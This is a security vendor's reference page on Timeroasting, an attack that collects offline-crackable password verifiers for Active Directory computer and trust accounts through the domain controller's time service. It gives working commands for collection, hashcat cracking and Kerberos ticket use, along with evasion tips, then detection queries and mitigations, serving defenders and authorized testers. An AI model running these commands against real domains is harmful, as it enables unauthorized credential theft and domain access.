1. Resources
  2. Identity Threats
  3. Active Directory

Timeroasting

Also known as: Timeroast, MS-SNTP roasting, Computer account roasting, NTP roasting

Anyone who can reach a domain controller on UDP 123 can collect a password verifier for every computer and trust account and crack the weak ones offline, with no domain account.

Platform
Active Directory
Impact
Medium
Last updated
Attack difficulty
Low
Detection difficulty
High
Privileges required: No account
No account. Network access to a domain controller's time service on UDP port 123 is enough.
What the attacker gains
The password of every computer or trust account whose password is weak or predictable, usable as that machine identity in the domain.
Threat groups
APT3DragonflyFIN6Salt TyphoonAPT41BlackByteBRONZE BUTLERChimeraFIN13FIN7Fox KittenINC RansomKe3changLAPSUS$and 18 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1110.002, T1087.002.

How it works

Domain members get their time from domain controllers, and Microsoft's NTP extension (MS-SNTP) lets a member check that a time reply really came from its domain. The member puts the relative identifier (RID) of its own computer account in the request. The domain controller looks the account up, computes a checksum over the 48-byte reply with a key derived from that account's password, and appends it. The member, which knows its own password, verifies the checksum.

The weakness is that the request isn't authenticated. The domain controller never checks that the sender owns the RID it names. Anyone who can send a UDP packet to port 123 can name any RID and receive a reply signed with that account's secret. On the legacy form of the exchange the checksum is an MD5 digest, so the reply is a fast offline password verifier: the attacker tests a guess by recomputing the digest and comparing. Hashcat calls the format MS SNTP (mode 31300), with the reply as the salt.

The secret never leaves the domain controller, and what comes back isn't a reusable hash. It is evidence to test guesses against, the same position as Kerberoasting and AS-REP roasting, with two differences: no domain account is needed, and the targets are computer and trust accounts instead of users.

That second difference is the limit of the attack. A normally joined computer holds a long random password and changes it on its own, by default every 30 days. Those passwords can't be guessed. The accounts that fall are the ones whose password was chosen by a person or a legacy procedure:

  • Pre-Windows 2000 computer accounts. An account pre-created with "Assign this computer account as a pre-Windows 2000 computer" gets its lowercased computer name (without the $, up to 14 characters) as its initial password, and keeps it until a machine actually joins with it.
  • Pre-staged or manually reset accounts whose password was typed in, set by a script, or never rotated because the machine never completed a join.
  • Trust accounts. Each domain trust has an account ending in $, and its RID answers the same way. A trust created with a weak, human-chosen password can be cracked.

A related variant skips the time service: with a list of computer names, an attacker tries the lowercased name as the password of each computer account in a password spray. That needs no roasting but produces failed logons.

Prerequisites

  • Network access to a domain controller on UDP 123. No credentials.
  • A domain controller that serves the legacy authenticated reply for the requested RID.
  • For a result: at least one computer or trust account whose password a wordlist can reach.
  • To put names on the results: a domain account (to look RIDs up in LDAP), or a list of computer names from DNS or scanning. Without either, a cracked password that equals the computer name identifies the account by itself.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Collect the verifiers

timeroast.py walks the RID space and prints one line per account that answered, in hashcat format with the RID as the user name:

# All RIDs until the domain controller stops answering
python3 timeroast.py 192.0.2.10 -o timeroast.txt

# Only a RID range, at a lower request rate
python3 timeroast.py 192.0.2.10 -r 1000-5000 -a 50 -o timeroast.txt

# Previous password of each account instead of the current one
python3 timeroast.py 192.0.2.10 -l -o timeroast-old.txt

# Send from source port 123 when a firewall only allows NTP peers
python3 timeroast.py 192.0.2.10 -p 123 -o timeroast.txt

The same repository has a PowerShell port for a Windows foothold:

.\timeroast.ps1 -domainController 192.0.2.10 -outputFile timeroast.txt -minRID 1000 -maxRID 5000

Each output line looks like 1104:$sntp-ms$<checksum>$<salt>. The script stops when no reply has arrived for the timeout period (24 seconds by default), which usually means the RID space is exhausted.

2. Build a targeted wordlist

The most productive guesses are the computer names themselves, lowercased and without the trailing $. With a domain account, pull them from the directory:

Get-ADComputer -Filter * -Properties pwdLastSet, whenCreated |
    Select-Object @{n='Rid';e={$_.SID.Value.Split('-')[-1]}}, SamAccountName, pwdLastSet, whenCreated |
    Export-Csv computers.csv -NoTypeInformation

(Import-Csv computers.csv).SamAccountName |
    ForEach-Object { $_.TrimEnd('$').ToLower() } | Set-Content names.txt

The same export maps RIDs back to names and shows which accounts have a pwdLastSet equal to their creation time, the mark of a pre-created account that no machine ever joined with.

3. Crack offline

# Hashcat mode 31300 (MS SNTP); --username because each line starts with the RID
hashcat -m 31300 --username timeroast.txt names.txt
hashcat -m 31300 --username timeroast.txt wordlist.txt -r rules/best64.rule

# The simple dictionary cracker shipped with Timeroast
python3 extra-scripts/timecrack.py timeroast.txt names.txt

4. Use the machine identity

A cracked password is the account's real password. Request a ticket as the computer and use whatever that account is allowed to do:

getTGT.py -dc-ip 192.0.2.10 'corp.example.com/SRV01$:srv01'

Impact

The attacker moves from no credentials to an authenticated domain identity. Even an unprivileged computer account can read the directory, run Kerberoasting and enumerate attack paths, so Timeroasting is an initial access technique as well as credential theft.

How far it goes depends on the account. A computer account can be a member of privileged groups, hold delegated rights, be allowed to read LAPS or gMSA passwords, or be trusted for delegation. A machine identity with such rights is worth as much as a user with them. A cracked trust account password lets the attacker forge inter-realm tickets across that trust.

OPSEC and artifacts

  • Rate and range. An operator lowers the request rate and limits the RID range so that the traffic resembles a few time clients. Each request is still one UDP datagram to port 123 that names a different RID, and a packet capture shows a single source asking about many accounts.
  • Source port 123. Sending from port 123 gets past firewalls that only allow NTP between peers. It doesn't change what a sensor on the domain controller's segment sees.
  • No directory events for collection. The time service answers without a logon, so the domain controller writes no 4768, 4769, 4771 or 4776 for the requests. There is nothing to clean up.
  • No trace of cracking. It runs on the attacker's hardware.
  • Use of the password is visible. Signing in as the computer produces event 4768 on the domain controller and event 4624 on the target, with the computer account coming from an address that isn't that computer.
  • The capture itself is sensitive. A packet capture of the replies, including one taken by defenders, holds the same crackable material. Store it as credential data.

Detection

Detection rests on the network, because the collection step leaves nothing in the Security log.

  • RID diversity from one source. A normal member asks about one RID, its own. A roasting source asks about hundreds or thousands. A packet sensor that decodes the key identifier field of the NTP request can count distinct RIDs per source; flow records can only count packets.
  • A source that isn't a time client. Compare senders of NTP to domain controllers with the list of domain members and approved time peers.
  • Weak computer accounts, before the attacker finds them. Look for computer accounts whose pwdLastSet equals whenCreated and accounts created with the pre-Windows 2000 option. Event 4741 records each computer account creation and who made it; the computer account creation rules cover that event.
  • Machine identity used from the wrong place. A computer account that authenticates from an address other than its own host.
  • Change after the fact. Event 4742 shows computer account changes. Collection doesn't change the account, so the absence of 4742 says nothing about whether roasting took place.

With Microsoft Defender for Endpoint on the domain controllers, inbound NTP by remote address is a starting point:

// Sources sending NTP to a domain controller, by 5 minute window
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where DeviceName startswith "dc01"
| where Protocol =~ "Udp" and LocalPort == 123
| summarize Records = count(), Actions = make_set(ActionType, 12)
    by DeviceName, RemoteIP, bin(Timestamp, 5m)
| order by Records desc

The count is of telemetry rows, not of RIDs, and endpoint coverage of UDP is partial. An empty result doesn't prove that no roasting happened. Sources behind address translation appear as one address, so set thresholds per network segment.

Mitigation

  • Find and fix weak computer account passwords. Reset or delete pre-created accounts that were never used, and stop using the pre-Windows 2000 option and manual password resets. A computer that joins normally sets a random password. The Active Directory hardening guide covers stale and pre-staged computer objects.
  • Limit who can create computer accounts. Fewer hand-made accounts means fewer weak ones. See the MachineAccountQuota guide.
  • Keep machine password rotation on. Review machines where "Domain member: Disable machine account password changes" is enabled or the maximum age was raised, and accounts whose password is far older than the policy.
  • Use strong trust passwords. Let the trust wizard generate them, and reset trusts that were created with a typed password.
  • Restrict UDP 123 to domain controllers to the networks that hold domain members and approved time peers. This reduces who can collect, not what a collected verifier is worth.
  • Remove rights that computer accounts don't need. Review computer accounts in privileged groups and with delegated permissions, so that a cracked machine password stays a small problem.

Detection rules for this attack

Log events to collect

FAQ

Does Timeroasting need a domain account?

No. The domain controller answers an authenticated time request for any account RID without checking who is asking. An attacker on the network only needs to reach UDP port 123 on a domain controller. A domain account helps afterwards, because it lets the attacker turn the RIDs in the output into computer names.

Can Timeroasting crack every computer account?

No. A computer that joined the domain normally has a long random password that it changes on its own, by default every 30 days, and that password is out of reach of an offline guessing run. The attack pays off against accounts whose password a person or an old provisioning method chose: pre-created accounts, accounts reset by hand and trust accounts with weak passwords.

How do you detect Timeroasting?

On the network. One source sends hundreds or thousands of NTP requests to a domain controller, each for a different RID, and often is not one of the domain's time clients. The domain controller writes no Security event for these requests, so flow records, a packet sensor or endpoint network telemetry on the domain controller are the only places to see it.

Is the Timeroasting output an NT hash?

No. The output is a message authentication code over a public NTP reply, keyed with material derived from the account's password. It can't be passed like a hash. It only lets the attacker test password guesses offline until one produces the same code.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.